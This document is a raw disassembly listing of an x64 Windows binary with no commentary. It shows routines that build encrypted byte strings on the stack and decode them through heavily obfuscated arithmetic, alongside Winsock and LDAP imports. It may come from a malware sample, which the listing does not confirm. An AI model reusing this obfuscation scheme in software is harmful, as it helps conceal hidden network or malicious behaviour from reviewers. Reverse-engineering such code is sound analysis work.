mov byte [rbp + 0xc60], __WSAFDIsSet
mov byte [rbp + 0xc61], 0xe1
mov byte [rbp + 0xc62], 0xf2
mov byte [rbp + 0xc63], 0xf6
mov byte [rbp + 0xc64], 0xe6
mov byte [rbp + 0xc65], 0x88
mov byte [rbp + 0xc66], 0x46
mov byte [rbp + 0xc67], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xc68], 0xea
mov byte [rbp + 0xc69], 0xf6
mov byte [rbp + 0xc6a], 0xee
mov byte [rbp + 0xc6b], 0xfe
mov byte [rbp + 0xc6c], 0xff
mov byte [rbp + 0xc6d], 0xed
mov byte [rbp + 0xc6e], 0x87
mov byte [rbp + 0xc6f], Ordinal_143
mov byte [rbp + 0xc70], Ordinal_143
mov byte [rbp + 0xc71], 0x3d
mov byte [rbp + 0xc72], 0xfd
mov byte [rbp + 0xc73], Ordinal_60
mov byte [rbp + 0xc74], 0xe8
mov byte [rbp + 0xc75], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xc76], Ordinal_143
mov byte [rbp + 0xc77], 0x9d
mov byte [rbp + 0xc78], Ordinal_143
mov byte [rbp + 0xc79], 0x86
mov byte [rbp + 0xc7a], 0x9f
mov byte [rbp + 0xc7b], 0x9c
mov byte [rbp + 0xc7c], Ordinal_50
mov byte [rbp + 0xc7d], 0xe8
mov byte [rbp + 0xc7e], 0x9c
mov byte [rbp + 0xc7f], 0x83
mov byte [rbp + 0xc80], __WSAFDIsSet
mov byte [rbp + 0xc81], __WSAFDIsSet
mov byte [rbp + 0xc82], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xc83], 0x85
mov byte [rbp + 0xc84], 0x84
mov byte [rbp + 0xc85], 0x80
mov byte [rbp + 0xc86], Ordinal_41
mov byte [rbp + 0xc87], 0xed
mov byte [rbp + 0xc88], 0x9d
mov byte [rbp + 0xc89], __WSAFDIsSet
mov byte [rbp + 0xc8a], __WSAFDIsSet
mov byte [rbp + 0xc8b], 0xe2
mov byte [rbp + 0xc8c], Ordinal_143
mov byte [rbp + 0xc8d], 0x98
mov byte [rbp + 0xc8e], 0xad
mov byte [rbp + 0xc8f], 0xad
mov byte [rbp + 0xc90], Ordinal_32
mov byte [rbp + 0xc91], 0xc1
mov byte [rbp + 0xc92], 0xa7
mov byte [rbp + 0xc93], 0xb7
mov byte [rbp + 0xc94], 0xa5
mov byte [rbp + 0xc95], 0xa6
mov byte [rbp + 0xc96], 0xba
mov byte [rbp + 0xc97], 0xaa
mov byte [rbp + 0xc98], 0xa8
mov byte [rbp + 0xc99], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xc9a], Ordinal_217
mov byte [rbp + 0xc9b], reloc.WS2_32.dll_send
mov byte [rbp + 0xc9c], 0xe5
mov byte [rbp + 0xc9d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xc9e], 0xc9
mov byte [rbp + 0xc9f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xca0], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xca1], 0xb0
mov byte [rbp + 0xca2], 0xa5
mov byte [rbp + 0xca3], 0xa4
mov byte [rbp + 0xca4], 0xc9
mov byte [rbp + 0xca5], 0xb2
mov byte [rbp + 0xca6], 0xbb
mov byte [rbp + 0xca7], 7
mov byte [rbp + 0xca8], 0xf6
mov byte [rbp + 0xca9], 0xaa
mov byte [rbp + 0xcaa], 0xa9
mov byte [rbp + 0xcab], Ordinal_200
mov byte [rbp + 0xcac], 0xbe
mov byte [rbp + 0xcad], 0xaf
mov byte [rbp + 0xcae], 0x3f
mov byte [rbp + 0xcaf], reloc.WS2_32.dll_listen
mov byte [rbp + 0xcb0], 0xfc
mov byte [rbp + 0xcb1], Ordinal_50
mov byte [rbp + 0xcb2], Ordinal_79
mov byte [rbp + 0xcb3], 0xfb
mov byte [rbp + 0xcb4], Ordinal_46
mov byte [rbp + 0xcb5], 0x54
mov byte [rbp + 0xcb6], 0x58
mov byte [rbp + 0xcb7], 0x48
mov byte [rbp + 0xcb8], Ordinal_79
mov byte [rbp + 0xcb9], gethostname
mov byte [rbp + 0xcba], 0x5d
mov byte [rbp + 0xcbb], Ordinal_79
mov byte [rbp + 0xcbc], 0xf0
mov byte [rbp + 0xcbd], gethostname
mov byte [rbp + 0xcbe], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcbf], xmm0
mov byte [rbp + 0xccf], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x70
jae 0x14010a52f
movzx r8d, byte [rbp + r9 + 0xc60]
mov r11, r8
cmp rdi, r9
ja 0x14010a526
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401099ff
movabs rcx, 0x32bb86de180626b2
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
add bl, 0x22
jmp 0x140109a39
je 0x14010a49d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010a411
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010a3de
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010a3b9
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14010a373
cmp r10, r9
ja 0x14010a51d
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x140109a6a
movabs rcx, 0x29621037f8812c9a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
jmp 0x140109aab
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010a350
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010a32e
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010a305
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010a2df
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14010a2bd
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14010a052
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010a030
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010a00e
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140109fe8
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x140109fc7
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x140109fa5
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140109f83
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140109f62
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140109f3c
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x140109f1a
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x140109ab8
lea rdi, [r10 + 0x41]
lea r10, [rdi + 0x7a]
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14010a4f7
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14010a4d5
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140109cb9
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140109c93
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140109c6d
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x140109eba
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x140109e64
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140109e15
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140109deb
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x140109ab8
lea rdi, [r10 + 0x40]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140109dc5
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x140109db1
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x140109d8f
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140109d6d
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140109d59
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140109d37
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x140109d15
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140109cef
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140109cdb
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140109ab8
lea rdi, [r10 + 3]
lea r10, [rdi + 2]
jmp 0x140109ab8
movabs rdx, 0x8bd23a970b5702a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140109aab
movabs rdx, 0x265b2cdadb4ab542
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140109a39
movabs rcx, 0xc0e41f1eab3e67de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x12
jmp 0x1401099c8
movabs rdx, 0x4b1081bfc40964d0
mov ecx, Ordinal_41
jmp 0x14010a35f
movabs rdx, 0xe599740393fd176c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010a3b4
movabs rcx, 0x8022664763f0ca08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14010a3d6
movabs rcx, 0x1aab588b33e47ca4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14010a262
movabs rdx, 0xb5344acf03d82f40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010a314
movabs rcx, 0x4fbd3d12d3cbe1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14010a3ff
movabs rcx, 0xea462f56a3bf9478
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x48
jmp 0x14010a432
movabs rdx, 0x84cf219a73b34714
mov ecx, Ordinal_60
jmp 0x140109f4b
movabs rdx, 0x1f5813de43a6f9b0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010a4be
movabs rcx, 0x21ae7187cb883836
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
mov byte [rbp + r9 + 0xc60], bl
jmp 0x14010a4cd
movabs rdx, 0xbc3763cb9b7bead2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r10, 5
jb 0x140109e08
movabs rcx, 0x36b7bc7d92736aec
add rcx, r9
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14010a390
movabs rcx, 0x56c0560f6b6f9d6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
cmp rdi, 6
jae 0x14010a23c
lea rax, [r10 + 0x42]
cmp rdi, rax
jbe 0x14010a1a8
movabs rcx, 0x40113323b1f86504
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1c
jmp 0x140109e36
movabs rcx, 0xf14948533b63500a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14010a28f
lea rax, [r10 + 0x64]
cmp rdi, rax
jbe 0x14010a106
movabs rdx, 0x16af22ebb977386a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140109e81
movabs rcx, 0xf84c614fd3070b9c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x14010a4be
movabs rdx, 0x92d55393a2fabe38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010a466
movabs rdx, 0x2d5e45d772ee70d4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010a2b3
movabs rcx, 0xc7e7381b42e22370
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14010a3ff
movabs rcx, 0x62702a5f12d5d60c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x54
jmp 0x14010a326
movabs rdx, 0xfcf91ca2e2c988a8
mov ecx, 0x34
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010a25d
movabs rdx, 0x97820ee6b2bd3b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010a3d6
movabs rcx, 0x320b012a82b0ede0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14010a3b4
movabs rcx, 0xcc93f36e52a4a07c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14010a390
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14010a081
movabs rdx, 0x32bb86de180626b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140109ed7
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010a0ac
movabs rcx, 0x52c4206ff1025934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14010a4be
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010a0d7
movabs rcx, 0xb83b2e2c210ea698
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x14010a466
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140109ed7
movabs rcx, 0xe8a05760b1338ec4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14010a326
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010a123
movabs rdx, 0x7c2630a7e98385ce
mov ecx, Ordinal_50
jmp 0x14010a35f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010a14e
movabs rcx, 0x47144c20499c2096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x14010a3d6
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010a179
movabs rcx, 0x77797554d9c108c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x14010a3ff
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140109e81
movabs rcx, 0xdcf0831109cd5626
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x14010a432
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010a1c5
movabs rdx, 0xa58840dfe204b268
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140109dd4
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010a1f0
movabs rcx, 0x70765c58421d4d30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x14010a432
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010a20d
movabs rdx, 0xa0db858cd242355c
mov ecx, 0x3e
jmp 0x140109fd6
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140109e36
movabs rcx, 0x6529349024e82c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14010a3d6
movabs rdx, 0x9c2eca39c27fb850
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0xc60]
sub bl, al
sub bl, 0x30
add bl, dl
add bl, r8b
movabs rdx, 0xceea5117da85df02
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
sub cl, 0xe
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xc60], cl
jmp 0x14010a326
movabs rdx, 0x1a5d7f5f28c05b4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0xc60]
add bl, dl
add bl, r8b
jmp 0x14010a432
movabs rcx, 0xefa3705d48d74a56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5a
jmp 0x14010a432
movabs rdx, 0x8a2c62a118cafcf2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010a3ff
movabs rdx, 0x24b554e4e8beaf8e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add rdi, r10
jmp 0x14010a3ff
movabs rcx, 0x59c7396c88a614c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x14010a3d6
movabs rdx, 0x8ed91df4288d79fe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010a390
movabs rcx, 0xc3eb027bc874df36
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
movabs rcx, 0x6973435baa79919e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x52
add cl, r8b
mov byte [rbp + r9 + 0xc60], cl
add r10, r14
jmp 0x14010a3d6
movabs rcx, 0xf8fce703685c446e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
sub r9, r14
jmp 0x14010a4cd
movabs rdx, 0xc897bdced8375c42
add rdx, r9
mov al, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010a4cd
mov r8, r11
movabs rcx, 0x6320b012a82b0ede
add rcx, r9
and r11b, cl
add r11b, r11b
mov bl, r8b
sub bl, r11b
sub bl, 0x12
add bl, cl
movabs rdx, 0x34615ed40a922c66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xc60], al
add r10, r14
add rax, r10
sub r9, rax
movabs rdx, 0x671ce5b222985318
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xc60], cl
add rdi, r14
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010a4be
movabs rdx, 0x9832949a48127416
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0xc60]
add rax, r10
add r9, rax
add r9, r14
jmp 0x1401099b5
movabs rcx, 0x5b6d11627b321a7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x1401099b2
movabs rdx, 0xf5f603a64b25cd16
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401099a2
lea rdx, [rbp + 0x1620bf8]
jmp 0x14010a536
lea rdx, [rbp + 0x16832aa]
jmp 0x14010a536
lea rdx, [rbp + 0xc60]
lea rcx, [rbp + 0xf50]
call fcn.1400889b0
lea rcx, [rbp + 0xf50]
call fcn.1401aa1b8
mov byte [rbp + 0x140], __WSAFDIsSet
mov byte [rbp + 0x141], 0x41
mov byte [rbp + 0x142], WSACleanup
mov byte [rbp + 0x143], 0x76
mov byte [rbp + 0x144], 0x46
mov byte [rbp + 0x145], 0x68
mov byte [rbp + 0x146], 0xb4
mov byte [rbp + 0x147], Ordinal_79
mov byte [rbp + 0x148], Ordinal_79
mov byte [rbp + 0x149], Ordinal_79
mov byte [rbp + 0x14a], Ordinal_200
xor eax, eax
mov dword [rbp + 0x14b], eax
mov word [rbp + 0x14f], ax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x11
jae 0x14010aff3
movzx r8d, byte [rbp + r9 + 0x140]
mov r11, r8
cmp rdi, r9
ja 0x14010afea
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010a60c
movabs rsi, 0xf4683f0d7d443fe2
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x2e
jmp 0x14010a643
je 0x14010af5d
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010aed7
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010aeae
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14010ae64
movabs rsi, 0xf4683f0d7d443fe2
cmp r10, r9
ja 0x14010afe1
lea rax, [r10 + 0x200]
cmp rdi, rax
jae 0x14010a66c
movabs rdx, 0xc8d2c1b46993d8a
mov ecx, Ordinal_32
jmp 0x14010a7f5
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010ae44
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010ae24
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010adee
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010adcd
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010adaa
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14010aa1f
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010a9fb
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010a9d8
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14010a9b5
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14010a994
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14010a971
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14010a95d
lea rdi, [r10 + 0x28]
lea r10, [rdi + 0x200]
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14010afbb
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14010af95
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14010a832
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14010a80c
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14010a7e6
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14010a93c
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14010a928
lea rdi, [r10 + 9]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x14010a905
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14010a8f1
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14010a8d0
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14010a8ad
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14010a899
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14010a878
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14010a855
lea rdi, [r10 + 4]
lea r10, [rdi + 0xa]
jmp 0x14010a6ba
movabs rdx, 0xb49a3c53040eafb6
mov ecx, 3
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010a6ad
movabs rdx, 0xcbc9be3809862ff2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010a643
movabs rdx, 0xe2f9401d0efdb02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x14010a5d4
movabs rcx, 0x92c864a43fb8ecc8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x78
jmp 0x14010aecf
movabs rdx, 0xa9f7e68945306d04
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1c
jmp 0x14010ad50
movabs rdx, 0xc127686e4aa7ed40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010adfd
movabs rcx, 0xd856ea53501f6d7c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x14010ae12
movabs rdx, 0xef866c385596edb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x14010aef6
movabs rdx, 0x6b5ee1d5b0e6df4
mov ecx, Ordinal_46
jmp 0x14010ab33
movabs rcx, 0x1de570026085ee30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14010af7e
movabs rdx, 0x863b3888f91faf3e
mov ecx, Ordinal_41
jmp 0x14010aa6d
movabs rdx, 0x9d6aba6dfe972f7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x14010aa3f
movabs rdx, 0x90dd8e52b7fdf1f0
mov ecx, Ordinal_60
jmp 0x14010ab62
movabs rcx, 0xa80d1037bd75722c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14010ae0f
movabs rdx, 0xbf3c921cc2ecf268
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010ad4d
movabs rcx, 0xd66c1401c86472a4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7c
jmp 0x14010aecf
movabs rcx, 0xed9b95e6cddbf2e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x14010aea9
movabs rdx, 0x4cb17cbd353731c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14010ae60
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x14010aaec
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2e
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x400
je 0x14010ad81
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x14010abc7
movabs rdx, 0x3cd70636d94338da
mov ecx, 5
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 0x64
jae 0x14010ad29
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x14010ac77
movabs rdx, 0x496432521fdc7664
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0x20
jb 0x14010ad1c
movabs rdx, 0x61891f5fe931740c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14010ae81
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010ab1b
movabs rdx, 0x191a58368d327b14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010af7e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010ab4a
movabs rdx, 0x1ead65187bafad8
mov ecx, recv
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010af28
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010ab79
movabs rdx, 0xd38bd2877ccbfa60
